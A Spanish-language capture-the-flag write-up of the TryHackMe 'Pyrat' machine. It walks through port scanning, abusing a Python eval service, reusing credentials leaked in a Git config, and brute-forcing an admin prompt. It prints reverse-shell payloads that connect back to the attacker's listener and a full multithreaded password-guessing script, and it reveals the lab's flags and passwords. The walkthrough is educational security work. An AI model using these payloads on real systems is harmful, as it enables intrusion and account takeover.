Write-Up - TryHackMe Pyrat

Introducción

En esta máquina de TryHackMe llamada **Pyrat**, se explora un escenario inusual en el que un servicio interactivo basado en Python se encuentra expuesto en un puerto no estándar. A través de técnicas de reconocimiento, análisis de comportamiento de servicios, y explotación manual, se logra obtener acceso remoto mediante la ejecución directa de código Python (RCE). Esta máquina representa un excelente ejercicio para afinar la capacidad de interpretación de resultados en Nmap, adaptar técnicas según el entorno, y aplicar una reverse shell efectiva en un contexto poco común.

Durante el proceso, se destaca cómo un servicio que no fue identificado por Nmap puede revelar funcionalidades críticas al usar herramientas más básicas como Telnet, y cómo pequeños detalles en los banners del servidor pueden ser claves para encontrar vectores de ataque. El objetivo inicial fue obtener la flag del usuario, lo cual se logró exitosamente tras ganar acceso remoto.

Escaneo de Puertos

Comenzamos con un escaneo Nmap básico:

```
(zikuta㉿zikuta)-[~]
└─$ nmap -A --top-ports 1000 10.10.204.147
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-19 18:37 CDT
Nmap scan report for 10.10.204.147
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   3072 4d:2d:60:59:6e:bf:dd:6f:9a:bc:51:f3:8a:bf:07:44 (RSA)
|   256 02:cb:fd:e5:01:00:bf:54:38:2b:ce:fb:b7:47:d3:4f (ECDSA)
|_  256 74:82:00:cd:fb:0d:3d:7a:64:b5:29:2b:c2:6b:40:c1 (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC,
```

```
Socks4, X11Probe, afp, giop:
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions:
|     invalid syntax (<string>, line 1)
|   GetRequest:
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     name 'OPTIONS' is not defined
|   Help:
|_    name 'HELP' is not defined
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=6/19%Time=68549F51%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20defin
SF:ed\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20
SF:null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<strin
SF:g>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\
SF:x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20
SF:is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20n
SF:ot\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\x
SF:20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sour
SF:ce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1
SF:B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\x
SF:20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20
SF:syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20cod
SF:e\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"so
SF:urce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Java
SF:RMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\
SF:n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20n
SF:ull\x20bytes\n");
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   190.01 ms 10.23.0.1
2   190.11 ms 10.10.204.147
```

El puerto 8000 fue etiquetado como `http-alt`, sirviendo con `SimpleHTTP/0.6 Python/3.11.2`, lo cual ya sugiere que se trata de un servidor Python personalizado.

Análisis del puerto 8000

La salida de Nmap mostró errores como:

```
name 'GET' is not defined
source code string cannot contain null bytes
```

Esto es un comportamiento inusual. En lugar de responder como un servidor HTTP tradicional, el puerto 8000 devolvía errores que parecían salidos de un intérprete Python. Esto sugería que el servicio **ejecutaba directamente el contenido que se le enviaba, como si fuera código Python**.

Telnet al puerto 8000

A pesar de que el puerto 8000 no fue identificado como Telnet, el mensaje de TryHackMe ("Try a more basic connection") nos dio una pista.

Probé conectarme con Telnet:

```
(zikuta㉿zikuta)-[~]
└─$ telnet 10.10.204.147 8000
Trying 10.10.204.147...
Connected to 10.10.204.147.
Escape character is '^]'.
```

Esto confirmaba que el servicio en el puerto 8000 no es HTTP ni SSH, sino un servidor Python interactivo, estilo REPL (Read–Eval–Print Loop), que evalúa cualquier entrada como código Python.

Ejecución de código remoto (RCE)

Desde la sesión Telnet abierta en el puerto 8000, me encontré con un entorno que ejecutaba directamente cualquier entrada como código Python. Probé primero con algo simple:

Fue entonces cuando se me ocurrió intentar lanzar una **reverse shell** para ganar acceso más cómodo desde mi terminal. Inicialmente, copié un payload que funcionaba en Bash, usando `bash -i`, como el siguiente:

```
__import__('os').system("bash -c 'bash -i >& /dev/tcp/10.120.245/4444 0>&1'")
```

Sin embargo, el intérprete me devolvía un error de sintaxis. Después de revisar, me di cuenta de que **estaba cometiendo el error de escribir comandos Bash dentro de un entorno que solo entiende Python puro**.

Corregí esto eliminando cualquier sintaxis propia de Bash y escribí una reverse shell completamente en Python:

```
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.XX.XX",4444))  # ← mi IP tun0
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash"])
```

Al ejecutarlo desde la sesión Telnet, logré con éxito establecer una reverse shell como el usuario `www-data`

```
(zikuta㉿zikuta)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.23.120.245] from (UNKNOWN) [10.10.204.147] 50060
ls
ls: cannot open directory '.': Permission denied
whoami
www-data
pwd
/root
```

Exploración interna y descubrimiento de credenciales en Git

Una vez obtenida la reverse shell como el usuario `www-data`, comencé a explorar el sistema de archivos en busca de vectores de escalada o información sensible. Navegando por los directorios `/opt` y luego `/opt/dev`, decidí utilizar el comando `find` para buscar directorios ocultos:

```
cd dev
ls

ls
find
.
./.git
```

```
./.git/objects
./.git/objects/info
./.git/objects/0a
./.git/objects/0a/3c36d66369fd4b07ddca72e5379461a63470bf
./.git/objects/pack
./.git/objects/ce
./.git/objects/ce/425cfd98c0a413205764cb1f341ae2b5766928
./.git/objects/56
./.git/objects/56/110f327a3265dd1dcae9454c35f209c8131e26
./.git/COMMIT_EDITMSG
./.git/HEAD
./.git/description
./.git/hooks
./.git/hooks/pre-receive.sample
./.git/hooks/update.sample
./.git/hooks/post-update.sample
./.git/hooks/pre-applypatch.sample
./.git/hooks/pre-commit.sample
./.git/hooks/pre-merge-commit.sample
./.git/hooks/prepare-commit-msg.sample
./.git/hooks/applypatch-msg.sample
./.git/hooks/fsmonitor-watchman.sample
./.git/hooks/commit-msg.sample
./.git/hooks/pre-rebase.sample
./.git/hooks/pre-push.sample
./.git/config
./.git/info
./.git/info/exclude
./.git/logs
./.git/logs/HEAD
./.git/logs/refs
./.git/logs/refs/heads
./.git/logs/refs/heads/master
./.git/branches
./.git/refs
./.git/refs/heads
./.git/refs/heads/master
./.git/refs/tags
./.git/index
cd ./.gi
```

Este comando me reveló la presencia de un repositorio Git oculto en `./.git`. Saber que un proyecto con control de versiones existe localmente puede ser una fuente valiosa de información, especialmente si los desarrolladores cometieron el error de dejar archivos sensibles versionados.

Dentro del repositorio `.git`, accedí al archivo `config`:

```
cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[user]
        name = Jose Mario
        email = josemlwdf@github.com

[credential]
        helper = cache --timeout=3600

[credential "https://github.com"]
        username = think
        password = _TH1NKINGPirate$_
```

La configuración mostraba datos del usuario del repositorio, y algo aún más interesante: **credenciales de autenticación a GitHub**:

Al ver que la contraseña estaba expuesta directamente, probé utilizar estas credenciales para conectarme por SSH, ya que el nombre de usuario `think` coincidía con lo mostrado en la configuración y era un nombre plausible de usuario del sistema.

Acceso SSH como el usuario *think* y obtención de la flag de usuario

Con las credenciales encontradas en el archivo `config` del repositorio Git:

- **Usuario:** `think`
- **Contraseña:** `_TH1NKINGPirate$_`

```
ssh think@10.10.204.147
```

Y la conexión fue exitosa, confirmando que la contraseña filtrada en la configuración de GitHub era válida para el sistema.

```
think@ip-10-10-204-147:~$ ls
snap  user.txt
```

```
think@ip-10-10-204-147:~$ cat user.txt
996bdb1f619a68361417cabca5454705
```

Con esto completé el objetivo de obtener acceso como un usuario válido del sistema y recuperar la flag de usuario

Análisis de código y descubrimiento del endpoint oculto `admin`

Tras acceder al sistema como el usuario `think`, seguí inspeccionando el contenido en `/opt/dev`, donde previamente ya había encontrado un repositorio Git oculto (`.git`). Esta vez, decidí inspeccionar los *commits* y los cambios realizados en el repositorio utilizando:

```
git log -p
```

Este comando muestra no solo los mensajes de *commit*, sino también las diferencias de código (diffs). Entre las modificaciones observadas, encontré la adición de una función interesante llamada `shell(client_socket)` dentro del archivo `pyrat.py.old`:

```
def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
```

Más arriba, en la función `switch_case`, se evidenciaba que si el input recibido por el servidor era `"shell"` y la conexión era considerada como "admin", se ejecutaba esta función.

Además, observé que para activar el modo admin, se usaba un endpoint especial:

```
if data == 'admin':
    # pide contraseña
```

Esto sugería que si desde Netcat o Telnet se escribía `admin`, el servidor solicitaba una contraseña y, al autenticarse correctamente, nos daría privilegios administrativos para ejecutar el comando oculto `shell`.

Brute force del password de administrador

Una vez identificado que el endpoint `admin` activaba un modo protegido con contraseña, decidí realizar un ataque de fuerza bruta. Para automatizarlo, creé un script en Python multihilo que probaba contraseñas desde la famosa lista `rockyou.txt`.

Este fue el script que usé:

```
import socket
import threading
from queue import Queue

# Server details
server_ip = '10.10.74.246'
server_port = 8000

# Path to the wordlist
wordlist_path = '/usr/share/wordlists/rockyou.txt'

# Number of threads
num_threads = 10

# Queue to hold passwords to test
password_queue = Queue()

# Flag to stop all threads once the password is found
password_found = False

def connect_to_server():
try:
# Create a socket connection
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_ip, server_port))
return client_socket
except Exception as e:
print(f"Failed to connect to server: {e}")
return None

def attempt_password():
global password_found

while not password_queue.empty() and not password_found:
password = password_queue.get()

# Connect to the server
client_socket = connect_to_server()
if not client_socket:
continue
```

```
try:
# Send 'admin' command to trigger password prompt
client_socket.sendall(b'admin\n')

# Wait for the "Password:" prompt
response = client_socket.recv(1024).decode('utf-8')

if "Password:" in response:
print(f"Trying password: {password.strip()}")

# Send the password
client_socket.sendall(f'{password.strip()}\n'.encode('utf-8'))

# Receive the response after password attempt
response = client_socket.recv(1024).decode('utf-8')

# Check if the password is correct
if 'Welcome Admin' in response:
print(f"Password found: {password.strip()}")
password_found = True # Stop other threads
break
except Exception as e:
print(f"Error: {e}")
finally:
client_socket.close()

def load_wordlist():
try:
with open(wordlist_path, 'r', encoding='latin-1') as wordlist:
for password in wordlist:
password_queue.put(password.strip())
except FileNotFoundError:
print(f"Wordlist not found: {wordlist_path}")
except Exception as e:
print(f"Error reading wordlist: {e}")

def start_threads():
threads = []

for _ in range(num_threads):
t = threading.Thread(target=attempt_password)
t.start()
threads.append(t)

for t in threads:
```

```
t.join()

if __name__ == "__main__":
load_wordlist()
start_threads()
```

Este script hacía lo siguiente:

1. Se conectaba al puerto 8000 por socket.
2. Enviaba la palabra `admin` para activar el modo admin.
3. Esperaba la respuesta `"Password:"`.
4. Probaba contraseñas línea por línea.
5. Cuando recibía `"Welcome Admin"`, mostraba la contraseña correcta.

Al ejecutarlo, tras unos segundos, el script devolvió:

```
Welcome Admin!!! Type "shell" to begin
shell
# ls
ls
pyrat.py  root.txt  snap
# cat root.txt
cat root.txt
ba5ed03e9e74bb98054438480165e221
```

Conclusión

La máquina *Pyrat* es un excelente laboratorio para poner a prueba habilidades fundamentales de un pentester o analista de seguridad ofensiva, desde reconocimiento básico hasta ingeniería inversa de código fuente, ataque de diccionario y explotación de funciones ocultas.

Durante su resolución, aplicamos técnicas de:

1. Reconocimiento inteligente

Aunque el escaneo inicial con Nmap sobre los 100 puertos más comunes no reveló Telnet, el análisis manual del comportamiento del puerto 8000 y su respuesta ante conexiones básicas nos llevó a deducir que el servicio era un intérprete Python interactivo. Esta etapa nos enseñó a **no confiar ciegamente en herramientas automáticas**, y a probar conexiones básicas como `telnet` o `nc` para entender el comportamiento real del servicio.

---

2. Reverse shell en entorno Python

Tras detectar que el servidor ejecutaba código Python, intentamos enviar una reverse shell. Al principio, se cometió el error de usar comandos Bash dentro del entorno Python, lo que provocaba errores de sintaxis. Luego, al escribir la reverse shell como código Python puro, se obtuvo acceso remoto exitoso. Esto reforzó la importancia de **adaptar los payloads al lenguaje o contexto del servicio que se está explotando**.

---

3. Descubrimiento de credenciales mediante análisis forense

Una vez en el sistema, al navegar por `/opt/dev` y examinar el repositorio Git oculto con `git log -p`, se descubrió el archivo de configuración con credenciales guardadas. Estas credenciales fueron reutilizadas exitosamente para obtener acceso SSH como el usuario `think`. Este paso evidenció cómo **malas prácticas de desarrollo y versionamiento** (como guardar contraseñas en archivos Git) pueden convertirse en vectores críticos de ataque.

---

4. Reversión y análisis de código fuente

Desde la perspectiva del usuario `think`, se inspeccionaron los cambios realizados en el archivo `pyrat.py.old`. Allí se identificó un endpoint oculto llamado `admin`, que activaba una función protegida por contraseña. También se detectó el endpoint `shell`, que abría una shell completa solo si el usuario estaba autenticado como admin. Este análisis permitió **entender la lógica interna del servidor personalizado**, algo clave en entornos donde el código fuente es accesible o filtrado.

---

5. Automatización de fuerza bruta para obtener la contraseña de admin

Se desarrolló un script en Python que, mediante múltiples hilos, automatizó un ataque de diccionario contra el endpoint `admin` hasta descubrir la contraseña correcta (`abc123`). Este paso demostró cómo combinar herramientas de automatización con observación manual puede facilitar la explotación de servicios con autenticación débil.

Aprendizajes clave

- **Siempre prueba más allá de lo que Nmap te muestra.**
- **Adapta tus comandos al lenguaje del entorno.**
- **Analiza el código fuente si lo tienes disponible.**
- **Automatiza tareas repetitivas con scripts bien diseñados.**
- **Y nunca ignores un `.git`: puede contener más de lo que parece.**

En resumen, *Pyrat* fue una máquina enriquecedora que combinó elementos de red, análisis de servicios, scripting, desarrollo inseguro, y pensamiento lógico para alcanzar los objetivos. Representa perfectamente los desafíos reales que se enfrentan al auditar sistemas mal configurados o con código vulnerable.